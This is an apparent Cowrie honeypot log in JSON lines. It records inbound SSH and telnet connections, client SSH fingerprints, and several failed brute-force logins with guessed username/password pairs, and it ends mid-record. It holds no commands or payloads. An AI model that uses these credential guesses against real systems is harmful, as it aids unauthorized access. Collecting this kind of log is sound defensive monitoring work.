{"eventid":"cowrie.login.failed","username":"user","password":"007","message":"login attempt [user/007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:50.838866Z","src_ip":"78.128.112.74","session":"e3344df97fdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:51.959661Z","src_ip":"78.128.112.74","session":"e3344df97fdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00103306770325,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:57.732941Z","src_ip":"152.59.19.2","session":"c05fb88f5f8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":52780,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7baefd7450f","protocol":"telnet","message":"New connection: 152.59.19.2:52780 (159.203.135.109:23) [session: e7baefd7450f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:58.269499Z"}
{"eventid":"cowrie.session.closed","duration":120.00220584869385,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:59.209431Z","src_ip":"152.59.19.2","session":"a2b2496cb083","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":8283,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bfaabbe6e17","protocol":"telnet","message":"New connection: 152.59.19.2:8283 (159.203.135.109:23) [session: 2bfaabbe6e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:59.685489Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.118.18","src_port":48145,"dst_ip":"10.17.0.5","dst_port":23,"session":"2756880be1ce","protocol":"telnet","message":"New connection: 128.199.118.18:48145 (10.17.0.5:23) [session: 2756880be1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:00.219437Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":46740,"dst_ip":"159.203.135.109","dst_port":22,"session":"f117843f312d","protocol":"ssh","message":"New connection: 103.63.108.25:46740 (159.203.135.109:22) [session: f117843f312d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:03.250679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:03.255924Z","src_ip":"103.63.108.25","session":"f117843f312d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:03.542795Z","src_ip":"103.63.108.25","session":"f117843f312d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.118.18","src_port":48333,"dst_ip":"10.17.0.5","dst_port":23,"session":"f38df1a1b4f9","protocol":"telnet","message":"New connection: 128.199.118.18:48333 (10.17.0.5:23) [session: f38df1a1b4f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:04.190370Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"data","message":"login attempt [admin/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:04.688441Z","src_ip":"103.63.108.25","session":"f117843f312d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:05.982712Z","src_ip":"103.63.108.25","session":"f117843f312d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.118.18","src_port":48445,"dst_ip":"10.17.0.5","dst_port":23,"session":"55f79abe2a90","protocol":"telnet","message":"New connection: 128.199.118.18:48445 (10.17.0.5:23) [session: 55f79abe2a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:06.255607Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.118.18","src_port":48777,"dst_ip":"10.17.0.5","dst_port":23,"session":"88c7ff484bc0","protocol":"telnet","message":"New connection: 128.199.118.18:48777 (10.17.0.5:23) [session: 88c7ff484bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:15.209129Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39584,"dst_ip":"159.203.135.109","dst_port":22,"session":"86abcb288295","protocol":"ssh","message":"New connection: 159.203.92.129:39584 (159.203.135.109:22) [session: 86abcb288295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:20.187893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:20.194557Z","src_ip":"159.203.92.129","session":"86abcb288295","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:20.200123Z","src_ip":"159.203.92.129","session":"86abcb288295","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"aaa","message":"login attempt [aaa/aaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:20.222089Z","src_ip":"159.203.92.129","session":"86abcb288295","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:21.236467Z","src_ip":"159.203.92.129","session":"86abcb288295","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":46472,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b603aa9b8b6","protocol":"ssh","message":"New connection: 152.32.238.146:46472 (10.17.0.5:22) [session: 0b603aa9b8b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:24.166069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:24.170781Z","src_ip":"152.32.238.146","session":"0b603aa9b8b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.118.18","src_port":49145,"dst_ip":"10.17.0.5","dst_port":23,"session":"23ac211d7fb5","protocol":"telnet","message":"New connection: 128.199.118.18:49145 (10.17.0.5:23) [session: 23ac211d7fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:24.181414Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:24.186391Z","src_ip":"152.32.238.146","session":"0b603aa9b8b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q","message":"login attempt [ubuntu/q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:24.265152Z","src_ip":"152.32.238.146","session":"0b603aa9b8b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:25.279026Z","src_ip":"152.32.238.146","session":"0b603aa9b8b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.118.18","src_port":49256,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddc3fc348c80","protocol":"telnet","message":"New connection: 128.199.118.18:49256 (10.17.0.5:23) [session: ddc3fc348c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:27.281854Z"}
{"eventid":"cowrie.session.closed","duration":30.505126237869263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:30.724407Z","src_ip":"128.199.118.18","session":"2756880be1ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":49370,"dst_ip":"159.203.135.109","dst_port":23,"session":"4710c2ab97c5","protocol":"telnet","message":"New connection: 43.243.201.97:49370 (159.203.135.109:23) [session: 4710c2ab97c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:33.591000Z"}
{"eventid":"cowrie.session.closed","duration":30.532567977905273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:34.722811Z","src_ip":"128.199.118.18","session":"f38df1a1b4f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.505069255828857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:36.760547Z","src_ip":"128.199.118.18","session":"55f79abe2a90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":52248,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8dddd8e2f51","protocol":"telnet","message":"New connection: 43.243.201.97:52248 (159.203.135.109:23) [session: d8dddd8e2f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:41.563821Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":52510,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe180e61b589","protocol":"telnet","message":"New connection: 43.243.201.97:52510 (159.203.135.109:23) [session: fe180e61b589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:42.605122Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":52516,"dst_ip":"159.203.135.109","dst_port":23,"session":"281265eda8ae","protocol":"telnet","message":"New connection: 43.243.201.97:52516 (159.203.135.109:23) [session: 281265eda8ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:42.623932Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":52818,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d57660dea2e","protocol":"telnet","message":"New connection: 43.243.201.97:52818 (159.203.135.109:23) [session: 7d57660dea2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:43.563576Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":53464,"dst_ip":"159.203.135.109","dst_port":23,"session":"a46029031898","protocol":"telnet","message":"New connection: 43.243.201.97:53464 (159.203.135.109:23) [session: a46029031898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:45.678206Z"}
{"eventid":"cowrie.session.closed","duration":30.52583408355713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:45.734842Z","src_ip":"128.199.118.18","session":"88c7ff484bc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":53796,"dst_ip":"159.203.135.109","dst_port":23,"session":"e161b353cff8","protocol":"telnet","message":"New connection: 43.243.201.97:53796 (159.203.135.109:23) [session: e161b353cff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:46.580013Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":53812,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2fe8e4ca3e6","protocol":"telnet","message":"New connection: 43.243.201.97:53812 (159.203.135.109:23) [session: e2fe8e4ca3e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:46.602621Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":36200,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfd8f51e844f","protocol":"telnet","message":"New connection: 91.199.236.33:36200 (159.203.135.109:23) [session: bfd8f51e844f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:46.824239Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":36650,"dst_ip":"159.203.135.109","dst_port":23,"session":"90bf16537f11","protocol":"telnet","message":"New connection: 91.199.236.33:36650 (159.203.135.109:23) [session: 90bf16537f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:47.810774Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":54498,"dst_ip":"159.203.135.109","dst_port":23,"session":"d77b5c5b7011","protocol":"telnet","message":"New connection: 43.243.201.97:54498 (159.203.135.109:23) [session: d77b5c5b7011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:49.621754Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":37321,"dst_ip":"159.203.135.109","dst_port":23,"session":"c55aab701101","protocol":"telnet","message":"New connection: 91.199.236.33:37321 (159.203.135.109:23) [session: c55aab701101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:49.805579Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":54768,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae894a57e3ca","protocol":"telnet","message":"New connection: 43.243.201.97:54768 (159.203.135.109:23) [session: ae894a57e3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:50.598868Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":55056,"dst_ip":"159.203.135.109","dst_port":23,"session":"29bf6c6092be","protocol":"telnet","message":"New connection: 43.243.201.97:55056 (159.203.135.109:23) [session: 29bf6c6092be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:51.551536Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":55060,"dst_ip":"159.203.135.109","dst_port":23,"session":"36b985be37ae","protocol":"telnet","message":"New connection: 43.243.201.97:55060 (159.203.135.109:23) [session: 36b985be37ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:51.558543Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":38574,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3208ecca6eb","protocol":"telnet","message":"New connection: 91.199.236.33:38574 (159.203.135.109:23) [session: f3208ecca6eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:53.811124Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":55808,"dst_ip":"159.203.135.109","dst_port":23,"session":"f12f85760b7c","protocol":"telnet","message":"New connection: 43.243.201.97:55808 (159.203.135.109:23) [session: f12f85760b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:54.150811Z"}
{"eventid":"cowrie.session.closed","duration":30.526655197143555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:54.707805Z","src_ip":"128.199.118.18","session":"23ac211d7fb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":38895,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d8ac8be2e63","protocol":"telnet","message":"New connection: 91.199.236.33:38895 (159.203.135.109:23) [session: 7d8ac8be2e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:54.823510Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":38901,"dst_ip":"159.203.135.109","dst_port":23,"session":"66d5db8edf68","protocol":"telnet","message":"New connection: 91.199.236.33:38901 (159.203.135.109:23) [session: 66d5db8edf68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:54.832560Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.239.26.142","src_port":34942,"dst_ip":"10.17.0.5","dst_port":23,"session":"c924cabf34ab","protocol":"telnet","message":"New connection: 193.239.26.142:34942 (10.17.0.5:23) [session: c924cabf34ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:55.085478Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.239.26.142","src_port":35030,"dst_ip":"10.17.0.5","dst_port":23,"session":"323c762bcb23","protocol":"telnet","message":"New connection: 193.239.26.142:35030 (10.17.0.5:23) [session: 323c762bcb23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:56.042506Z"}
{"eventid":"cowrie.session.closed","duration":30.42696452140808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:57.708673Z","src_ip":"128.199.118.18","session":"ddc3fc348c80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":40008,"dst_ip":"159.203.135.109","dst_port":23,"session":"3db7413f1601","protocol":"telnet","message":"New connection: 91.199.236.33:40008 (159.203.135.109:23) [session: 3db7413f1601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:30:58.620656Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":58116,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3693fa18fa4","protocol":"telnet","message":"New connection: 43.243.201.97:58116 (159.203.135.109:23) [session: c3693fa18fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:01.604502Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":41012,"dst_ip":"159.203.135.109","dst_port":23,"session":"dafc17c4c6f0","protocol":"telnet","message":"New connection: 91.199.236.33:41012 (159.203.135.109:23) [session: dafc17c4c6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:01.811451Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":28776,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0d862dcae59","protocol":"ssh","message":"New connection: 87.251.64.176:28776 (10.17.0.5:22) [session: b0d862dcae59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:02.162205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:02.167435Z","src_ip":"87.251.64.176","session":"b0d862dcae59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"mac